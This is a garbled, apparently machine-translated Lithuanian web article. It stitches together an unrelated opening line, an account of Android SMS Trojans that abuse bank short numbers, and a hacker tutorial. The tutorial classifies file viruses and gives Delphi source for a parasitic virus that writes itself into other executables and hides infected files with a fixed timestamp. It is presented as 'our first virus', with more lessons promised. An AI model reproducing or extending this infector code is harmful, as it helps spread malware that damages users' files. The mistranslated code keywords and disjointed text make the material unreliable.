Kaip nusiųsti virusą aukai. Įsilaužimas kažkieno rankomis

28.03.2023
Retos uošvės gali pasigirti, kad su anyta palaiko lygius ir draugiškus santykius. Paprastai nutinka visiškai priešingai

Pastaraisiais metais užsikrėsti virusu galima ne tik nesėkmingai naršant internete – dabar programišiai ir sukčiai yra kur kas įmantresni. Šiandien mes jums pasakysime, kaip kovoti su užpuolikais, kurie siunčia pavojingas žinutes su kenkėjiškomis nuorodomis. Mes jums pasakysime, kaip pavojinga ja naršyti ir kaip išvengti pavojaus užkrėsti telefoną.

Koks tai naujienlaiškis?

Taigi nuo gegužės pabaigos šimtų tūkstančių vartotojų telefonus užklupo paslėpta sukčių ataka. Į išmaniuosius telefonus atkeliauja trumpos, intriguojančios žinutės – "Ei, pažiūrėkite nuotrauką ir nuorodą!", prie kurio pridedamas perėjimo svetainės adresas. Kartais pridedami užrašai, kad „tai ne šlamštas“, arba „Turime tai išsiaiškinti“, galima pridėti pavardė, arba skambinkite "Pagalba". Tiesą sakant, jei apie tai negalvojate iš karto, galite spustelėti jį ir atsisiųsti failą. Tikiesi, kad atidarysi draugo nuotrauką, bet nieko negausi. Būtent šiuo metu telefonas atsisiunčiamas viruso programa.

Jei pažiūrėsite į failo plėtinį atsisiuntimo žurnale, pamatysite, kad ten nėra jpg, jis veikia APK programa. Dėl virusinės įkrovos programos, ypač šiuo atveju, daugelis telefono nustatymų pasikeičia.

Vartotojai ne visada gali atpažinti virusą savo mobiliajame telefone ir, atitinkamai, negali ištrinti kenkėjiškos programos ar imtis kokių nors veiksmų, kol virusas nepasiekia asmens duomenų.

Šiuo metu „Android“ išmanieji telefonai laikomi labiausiai pažeidžiamais. „Android“ SMS žinute pasirodė naujas virusas.

Atvirojo kodo išmaniuosiuose telefonuose, kurie yra „Android“ operacinė sistema, nauji virusai plinta neįtikėtinu greičiu.

Dabar jie pasikeitė. Anksčiau pinigais buvo bandoma naudotis tik mobiliuosiuose telefonuose, o šiandien taikosi į banko korteles ir visas interneto banke esančias lėšas. Sukčius pirmiausia domina išmanieji telefonai, palaikantys Mobiliojo banko paslaugą. Tai leidžia pavogti pinigus iš aukos sąskaitos naudojant sukčiaus numerį. Norėdami tai padaryti, jie siunčia virusą SMS žinute į Android.

Kaip veikia sukčiai

Pirmasis toks virusas suaktyvėjo 2017 metų vasaros pradžioje. Pavojus yra tas, kad Trojos arklys nuotoliniu būdu veikia Android išmaniajame telefone.

Užpuolikai siunčia SMS norimu numeriu, todėl norėdami nustatyti šio viruso buvimą savo mobiliojoje programėlėje, išmaniųjų telefonų savininkai turėtų atkreipti dėmesį į 100 rublių kainuojančių SMS žinučių skaičiaus padidėjimą. Dėl to iš išmaniojo telefono savininko mobiliosios sąskaitos išimama suma, dalijama iš 100.

Norėdamas uždirbti daug pinigų, užpuolikas yra priverstas išsiųsti keletą SMS Trojos arklių iš savo aukos numerio. Juk ne jis vienintelis dirba šioje sukčių grandinėje.

Trojos arklys įsikuria aukos programėlėje ir siunčia SMS iš aukos numerio į sukčių „brangųjį“ numerį. Ir būtent už šias SMS žinutes, adresuotas šiuo „brangiu“ numeriu, aukai imamas 100 rublių mokestis. už kiekvieną neteisėtą SMS žinutę.

Tarpininkais šioje schemoje gali būti telekomunikacijų operatorius, tiekėjas ir kiti partneriai, kurie gali nežinoti apie sukčių gudrybes. Kad padengtų visas išlaidas ir užsidirbtų pinigų, užpuolikas turi atsiimti bent 1000 rublių iš kiekvieno numerio.

Tuo pačiu negalime atmesti galimybės, kad išmaniųjų telefonų savininkai gali skųstis savo operatoriui dėl pinigų vagystės. Ir tada jie imasi atsakomųjų priemonių, kad išvengtų sukčiavimo. Pavyzdžiui, jie gali įvesti reikalavimą įvesti papildomus patvirtinimus prieš nurašant pinigus ir panašiai. Esant tokiai situacijai, užpuolikai priversti ieškoti naujų sukčiavimo būdų.

Dėl šių veiksnių atsirado dar vienas Trojos arklys. Šis Trojan-SMS atstovas taip pat vykdo komandas, gautas iš nuotolinio serverio.

Naujasis virusas yra lankstesnis ir puikiai naršo bet kokiomis sąlygomis, atsižvelgiant į korinio ryšio operatoriaus kliūtis ir net abonento paskyros būseną bei operacijų atlikimo laiką.

Kaip veikia virusas

Naujasis virusas snaudžia – jis neturi savarankiškumo. Net patekęs į išmanųjį telefoną jis niekaip neatsiranda. Kad jis veiktų, reikalinga nuotolinė telefono savininko komanda.

Tam naudojama vadinamoji POST užklausa. Jis skirtas užklausai, kurioje žiniatinklio serveris priima pranešimo tekste esančius duomenis saugoti. Jis dažnai naudojamas, pavyzdžiui, norint atsisiųsti failą.

POST užklausos naudojimas leidžia užmegzti ryšį su nuotoliniu serveriu ir gauti atitinkamą komandą, kurią gavęs Trojos arklys pradeda siųsti brangias SMS žinutes iš savo aukų numerių į sukčių numerius.

Kaip veikia naujasis Trojos arklys? Pavyzdžiui, programa automatiškai siunčia SMS žinutes su vienu žodžiu „BALANSAS“ numeriu, kuris palaiko mobiliąją bankininkystę.

Siųsdami SMS žinutę iš trumpojo numerio, sukčiai gali patikrinti, ar aukos numeris susietas su banko sąskaita ir kokia yra sąskaitos būsena.

Pavyzdžiai iš gyvenimo

Pavyzdžiui, „Sberbank“ turi numerį, iš kurio siunčiami pranešimai – 900. Kai iš siuntėjo 900 ateina pranešimas „BALANSAS“ (arba, rusiškai „balansas“), telefono savininkas pasitiki Sberbanku ir yra įsitikinęs, kad šis pranešimas yra iš šio banko, atidaro pranešimą ir į jį atsako, nori sužinoti, kas atsitiko su likučiu. Taip sukčiai gauna atsakymą į savo SMS, o tai jiems reiškia, kad prie telefono yra prijungta banko kortelė. Be to, jiems tampa aišku, kad šią kortelę galima valdyti SMS komandomis, kurios yra įtrauktos į Mobiliojo banko paslaugą. Ir tada, kaip sakoma, „technikos reikalas“.

Vienas mano draugas neseniai gavo žinutes iš trumpojo numerio 4-74-1, kuris yra registruotas „Sberbank“ mobiliajame banke, su pranešimu „Paslauga nepasiekiama, bandykite dar kartą vėliau“. Atsakymo ji dėl akivaizdžių priežasčių neatsiuntė, jau žinodama apie galimus grasinimus. Matyt, tai tie patys sukčiai, apsimetę mobiliuoju banku, tokiu būdu bandė apskaičiuoti jos reakciją ir nustatyti, ar jos išmaniajame telefone buvo įdiegtas mobilusis bankas.

klasifikacija

HLLO – aukšto lygio kalbos perrašymas. Toks virusas perrašo programą savo kūnu. Tie.
programa sunaikinama, o kai vartotojas bando paleisti programą, virusas įsijungia ir „užkrečia“ toliau.

HLLC aukšto lygio kalbos kompanionas. Dauguma šių virusų atsirado dar senovėje (prieš 8-10 metų), kai vartotojai turėjo DOS ir buvo labai tingūs. Šie virusai ieško failo ir jo nekeisdami sukuria savo kopiją, bet su .COM plėtiniu. Jei tingus vartotojas komandinėje eilutėje įrašo tik failo pavadinimą, tada DOS pirmiausia ieško COM failo, paleisdamas virusą, kuris pirmiausia atlieka savo darbą, o tada paleidžia EXE failą. Yra dar viena modifikacija
HLLC - modernesnis (7 metų amžiaus;)): Virusas pervadina failą, pasilikdamas pavadinimą, bet pakeisdamas plėtinį - iš EXE į tarkim OBJ ar MAP. Virusas pakeičia pradinį failą savo korpusu. Tie. vartotojas paleidžia virusą, kurį atgaminus paleidžia norimą programą – visi patenkinti.

HLLP-aukšto lygio kalbos parazitas. Pats pažangiausias. Priskirkite savo kūną failui iš priekio (virusas pirmiausia paleidžiamas, tada atkuria programą ir ją paleidžia) arba iš galo
- tada programos antraštėje rašome jmp šalia viruso kūno, vis tiek paleidžiant pirmiausia.

Pačią programą galime palikti nepakeistą, tada ji atrodys taip:

Kas yra MZ, manau atspėjai :) Tai tavo mylimojo Marko Zbikowskio inicialai, kuriuos jis kukliai apibrėžė exe failo paraše :) O aš juos čia įvedžiau, kad suprastum
- infekcija įvyksta pagal copy /b virus.exe program.exe principą ir čia nėra jokių specialių gudrybių. Ne dabar. Bet tu ir aš juos išdulkinsime
- Būk sveikas:). Na, pavyzdžiui: pirmus 512 ir daugiau originalios programos baitų galite užšifruoti bet kokiu jums žinomu algoritmu – XOR/XOR, NOT/NOT, ADD/SUB, tada jis atrodys taip:

Tokiu atveju užkrėsto failo struktūra nebus tokia aiški.
Ne veltui aš čia tiek daug plepau (klasifikacija, ta prasme)
- parazitinį algoritmą naudoja 90% šiuolaikinių virusų, nepriklausomai nuo jų platinimo būdo. Gerai, eikime toliau:

Tinklo virusas. Gali būti bet kuris iš aukščiau išvardytų. Jis skiriasi tuo, kad jo pasiskirstymas nėra
apsiribodama vienu kompiuteriu, ši infekcija kažkaip per internetą arba vietinį tinklą patenka į kitus įrenginius. Manau, kad jūs reguliariai ištraukiate 3–4 šiuos draugus iš savo muilo dėžutės.
- Štai tinklo viruso pavyzdys. Ir kai jis patenka į kažkieno kompiuterį, jis savavališkai užkrečia failus arba jų visai neužkrečia.

Makrovirusai, scenarijų virusai, IRC virusai. Sudėjau juos į vieną grupę, nes tai virusai, parašyti programėlėse įtaisytomis kalbomis (MSOffice:)), scenarijai (čia jūsų mėgstamiausios VBS taisyklės) ir IRC scenarijai. Griežtai kalbant, kai tik aplikacijoje atsiranda pakankamai galingas (ir/ar nesandarus) scenarijaus komponentas, iškart ant jo pradedami rašyti virusai 😉 Beje, makrovirusai yra labai paprasti ir lengvai atpažįstami euristikos būdu.

Kodavimas

Mes pasiekėme 🙂 Nagi, paleisk Delphi, žudyk visokius langus ir išvalyk visas nesąmones iš projekto lango. Tai yra, nuvalykite viską :) Dirbsime tik su DPR, kuriame yra:

programa EVIL_VIRUS;
NAUDOJA WINDOWS, SYSUTILS;
pradėti
galas;

Manau, kad jau supratote viruso logiką iš klasifikacijos - atkuriame ir paleidžiame programą --> laukiame, kol jos darbas baigsis - -> ištrinkite "naudotą failą" (pamiršau pasakyti - užkrėstųjų NEGYDOME programą, perkeliame originalų kodą į kairįjį failą ir paleidžiame PAVYZDYS: Užkrėstas failas NOTEPAD.EXE. Sukurkite failą _NOTEPAD.EXE tame pačiame kataloge su originaliu kodu ir paleiskite).--> ieškokite neužkrėsto failo ir jį užkrėsti. Štai ir viskas :) Pagrindinis viruso dizainas atrodo būtent taip.

Dabar paskelbkite šiuos savo galingų smegenų kintamuosius ir konstantas:

VaR VirBuf, ProgBuf, MyBuf: simbolių masyvas;
SR: TSearchRec;
Mano,pr: Failas;
ProgSize,result: integer;
PN,st: Styga;
si: Tstartupinfo;
p:Tproceso informacija;
užkrėstas: loginis;
CONST VirLen: longint= 1000000;

Pirmoje eilutėje yra dinaminiai masyvai, į kuriuos atitinkamai įrašysime viruso korpusą ir programą; Bus įrašyta į SR kintamąjį
rasto failo, kuris gali būti užkrėstas, charakteristikos (tikiuosi, kad esate susipažinę su FindFirst ir FindNext procedūromis, nes ji pablogės;)), Mano ir
Pr yra failas, nuo kurio pradėjome, ir kairysis failas su originaliu programos kodu (apie tai jau rašiau aukščiau). rezultatas - FindFirst rezultatas, jis turi būti lygus nuliui,
ProgSize – programos kodo dydis. Visa kita aišku iš to, kas toliau, išskyrus
užkrėstas – tai ženklas, kad rastas failas yra užkrėstas ir
VirLen yra viruso kodo ilgis, sužinosite tik po vestuvių. Oho, norėjau pasakyti po kompiliavimo. Tie. sukompiliuoti, pakeisti šaltinio konstantos reikšmę ir sukompiliuoti iš naujo.
Koduojame toliau :) Čia matote kodą, atsakingą už užkrėstos programos atkūrimą ir paleidimą:

SetLength(virbuf,VirLen);
AssignFile(mano,ParamStr(0));
st:= paramstr(0);
St:= st+#0;
CopyFile (@st,"c:\windows\program.exe",false);
IF FileSize (mano)> VirLen tada
pradėti
//Paleiskite programą
AssignFile(mano,"c:\windows\program.exe);
Atstatyti (mano);
ProgSize:= Failo dydis(mano)-VirLen;
BlockRead(mano,virbuf,virlen);
SetLength(progbuf,pRogSize);
BlockRead(mano,progbuf,progSize);
CloseFile(mano);
PN:= "_"+ParamStr(0);
AssignFile(pr,PN);
Perrašyti(pr);
BlockWrite(pr,progbuf,progSize);
CloseFile(pr);
FillChar(Si, SizeOf(Si) , 0);
su Si do
pradėti
cb:= SizeOf(Si);
dwFlags:= startf_UseShowWindow;
wShowWindow:= 4;
galas;
PN:= PN+#0;
Createprocess(nil,@PN,nil,nil,false,Create_default_error_mode,nil,nil,si,p);
Palaukite vieno objekto(p.hProcess,begalinis);
//Pradėta, programa paleido. Ištrinkime :)
ErAsE(pr);
Ištrinti (mano);

Viskas čia iš principo paprasta ir aišku, išskyrus tai, kodėl visą užkrėstą failą perkėliau į Windows katalogą ir ką daro nuo 3 iki 5 imtinai.
Tai padariau, nes skaityti iš veikiančio failo yra nepatogu ir tai įmanoma tik naudojant CreateFile ir ReadFile WinAPI. Apie kodavimą naudojant WinAPI papasakosiu vėliau, dabar pateiksiu tik pagrindus
– Delfyje.

Šios eilutės yra eilutės konvertavimas į pchar naudojant tradicinį metodą, nes dabar mes kovojame dėl kiekvieno kodo baito. Kitas dalykas: pasielgiau neteisingai, taip griežtai nustatydamas c:\windows kelią. Geriau pasinaudokite GetWindowsDirectory procedūra, tikrai sužinokite :) Visa kita aišku be jokių komentarų (jei ne
nustok praleisti informatiką;)), eikime toliau:

rezultatas:= FindFirst("*.exe",faAnyFile,sr);
WHILE Rezultatas = 0 DO
pradėti
//Patikrinkite, ar nėra utėlių
Užkrėstas:= klaidingas;
IF DateTimeToStr (FileDateToDateTime (failas (sr.name)))= "08/03/98 06:00:00", tada užkrėstas:= true;
//Patikrinta!
IF (infected = false) ir (sr.name<>paramstr(0)), tada
pradėti
AssignFile(mano,sr.Vardas);
Perrašyti(mano);
BlockWrite(mano,virbuf,virlen);
BlockWrite(mano,progbuf,sr.Size);
CloseFile(mano);
FileSetDate(sr.Name,DateTimeToFileDate(StrToDateTime("08/03/98 06:00:00")));
galas;
galas;

//Jei virusas paleistas „švarus“, t.y. ne iš užkrėstos programos, tada išeiname
end else sustabdyti;

Ką čia mato tavo aštri akis? Taip, FindFirst procedūra ieško nurodytos aukos (bet kokio exe failo iš dabartinio katalogo), perkelia jo charakteristikas į SR kintamąjį. Tada reikia patikrinti, ar nėra užteršimo. Tai daroma originaliu būdu: užkrėstam failui priskiriamas def. data ir laikas. Ir bet koks failas su tokiomis savybėmis laikomas užkrėstu. Visa kita vėlgi nepadoriai paprasta, tad sklandžiai pereinu prie išvados :)

Išvada

Taigi mes užkodavome savo pirmąjį virusą. Kol kas jis gali užkrėsti tik dabartiniame kataloge esančius failus (nors esu tikras, kad galite lengvai jį atnaujinti ;)) ir nieko nežino apie kitus katalogus ir internetą. Nenusiminkite, mes jį greitai to išmokysime. Kol kas žaiskite su šiomis eilutėmis ir laukite kito straipsnio.

Taikymas

Išdrįsiu jums pateikti visų straipsnyje naudojamų procedūrų aprašymą. Tai padės jums jų ieškoti žinyne ir pasiruošti rimtų virusų kodavimui naudojant
WinAPI.

AssignFile – WinAPI atitikmens nėra – atitinka failą
su kintamuoju, kurio tipas yra File arba TextFile

Atsidaro Reset – _lopen ir CreateFile analogai
esamą failą ir nustato padėtį
skaitymas iki pradžios

ReWrite – _lcreate ir CreateFile – sukuria naują failą ir
Burna skaitymo poziciją iki pradžios. Jei maitinate
Perrašykite esamą failą, jo turinį
bus iš naujo nustatytas į nulį

BlockRead – _lread ir ReadFile – nuskaito į buferį
tam tikras duomenų kiekis iš failo

BlockWrite – atitinkamai rašo _lwrite ir WriteFile
duomenis į failą

SeekFile – _llseek ir SetFilePointer – perkelia padėtį
skaityti / rašyti atidarytame faile

CloseFile – _lclose ir CloseHandle – uždaro atidarytą failą
failą

Erase – DeleteFile – failo ištrynimas

FindFirst – FindFirstFile – ieškokite failo pagal kriterijus

FindNext – FindNextFile – ieškokite kito failo

Naujausia svetainės medžiaga